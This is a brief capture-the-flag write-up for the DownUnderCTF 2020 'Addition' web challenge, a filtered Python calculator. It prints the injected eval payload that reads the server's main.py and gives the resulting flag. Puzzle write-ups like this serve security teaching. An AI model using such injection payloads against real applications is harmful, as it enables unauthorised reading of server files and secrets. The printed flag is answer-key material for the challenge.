DownUnderCTF 2020: Addition

Addition

200 points

Author: n00bmaster
Joe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the “filters” he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag.
https://chal.duc.tf:30302/

Solution

Ok, so we’ve got a webpage with calculator and a hint it’s written in python.

addition1

I’ve found the flag using this payload '{}'.format(open('main.py','r').read())

addition2

DUCTF{3v4L1sD4ng3r0u5}

Privacy Policy
luc © 2021